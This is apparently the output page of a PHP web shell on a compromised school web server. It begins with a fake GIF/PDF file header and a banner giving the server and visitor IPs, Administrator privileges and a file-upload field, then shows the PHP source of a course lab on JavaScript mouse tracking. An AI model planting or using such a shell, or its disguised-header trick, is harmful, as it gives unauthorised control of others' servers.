GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1022/Labs/Lab05/ |
Upload File : |
<? // JimMartinson/CST1022/Labs/Lab03/Lab03.phpinc $css .= ',colorCode.css'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; } $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. $oldSaveFilename = str_replace('5','3',$saveFilename); ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate your ability to use JavaScript to watch the mouse. <?=$gradeNote?> <? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol id="main" class="count"> <!-- Step 1 --> <li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li> <!-- Step 2 --> <li class="">Setup files for <?=$evaluationType?> <?=$evaluationNumber?>: <ol> <li>Copy your <b><?=$oldSaveFilename?>.html</b>, <b>site.css</b>, and <b>site.js</b> files from your Lab03 folder into your <?=$evaluationName?> folder.</li> <li>Rename the <i><?=$oldSaveFilename?>.html</i> file to <b class="copyText"><?=$saveFilename?>.html</b>.</li> <li class="page">Edit the <b><?=$saveFilename?>.html</b> file: <ol> <li>Change all references to Lab 3 into Lab 5.</li> <li class="page">Remove the #divControl div.</li> <li>Save the <b><?=$saveFilename?>.html</b> file.</li> </ol> </li> </ol> </li> <!-- Step 3 --> <!-- Step 4 --> <li class="">Add or modify any code (css, html, or javascript) so the sun will do the following: <ul> <li>Move the mouse into the black area and watch the sun chase the mouse.</li> <li>The sun's center should be under the mouse when it is caught.</li> <li>Move the mouse out of the black area and watch the sun return to the middle.</li> <li>Click in the black area to jump the sun to the mouse and stop it from following.</li> <li>Click in the black area again to have the sun return to chasing the mouse.</li> </ul> <div id="show_page" class="inline"><a href="#" onClick="divHide('show_page'); divShow('hide_page'); return false;">See an example:</a></div> <div id="hide_page" class="hidden"><a href="#" onClick="divHide('hide_page'); divShowInline('show_page'); return false;">Hide the example.</a> <? include('common/Browser/Browser.phpinc'); BrowserBegin($pageTitle,'file:///'.$courseNumber.'/'.$evaluationName.'/'.$saveFilename.'.html',924); ?> <img src="images/example.png" width="900" height="650" alt="Lab 3 example"> <? BrowserEnd(); ?> </div> </li> <!-- Step 5 --> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<? $fileList = array( 'site.css', 'site.js', 'the_sun.png', $saveFilename.'.html', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <br><?=$fileName?> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol> <? if ( $disabled ) { ?><div class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</div><? } ?> </fieldset> <? require('../LabNotes.phpinc'); ?> <script src="/js/colorCode.js"></script> <? $PartialGradingCriteria = ' -assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors. No further grading will be done. <table> <tr> <th>Criteria</th> <th class="right">Points</th> </tr> <tr> <td>Correct HTML elements, including: <span class="highELE">!DOCTYPE</span>, <span class="highELE">html</span>, <span class="highELE">head</span> (with required elements), <span class="highELE">body</span>, and <span class="highELE">div</span>s. This includes having the code well formatted.</td> <td class="number">3</td> </tr> <tr> <td>Correct site.css file.</td> <td class="number">1</td> </tr> <tr> <td>Correct site.js file.</td> <td class="number">1</td> </tr> <tr> <th class="right">Total:</th> <th class="number">assignmentPoints</th> </tr> </table> '; require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>